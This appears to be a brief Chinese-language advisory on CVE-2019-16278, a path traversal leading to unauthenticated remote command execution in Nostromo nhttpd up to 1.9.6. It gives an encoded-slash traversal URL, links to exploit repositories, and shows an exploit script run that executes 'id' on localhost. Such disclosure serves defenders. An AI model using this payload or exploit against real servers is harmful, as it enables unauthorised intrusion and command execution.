漏洞描述
Nostromo web server(nhttpd)是一个开源的web服务器,在Unix系统非常流行。
漏洞原因是web服务在对URL进行检查是在URL被解码前,攻击者可以将/
转换为%2f
就可绕过检查,之前出现过类似漏洞CVE-2011-0751,POC如下:
http://www.example.org/..%2flogs/access_log
利用前提
Nostromo version <= 1.9.6
漏洞复现
Python POC:https://github.com/sudohyak/exploit/blob/master/CVE-2019-16278/exploit.py
mark@mark-Pc:~/nhttpd-exploits$ ./CVE-2019-16278.sh 127.0.0.1 80 id
uid=1000(mark) gid=1000(mark) groups=1000(mark),0(root)
EXP: https://git.sp0re.sh/sp0re/Nhttpd-exploits
参考
https://www.sudokaikan.com/2019/10/cve-2019-16278-unauthenticated-remote.html?utm_source=webcode.ca&utm_medium=web&utm_campaign=twitter
https://nosec.org/home/detail/3074.html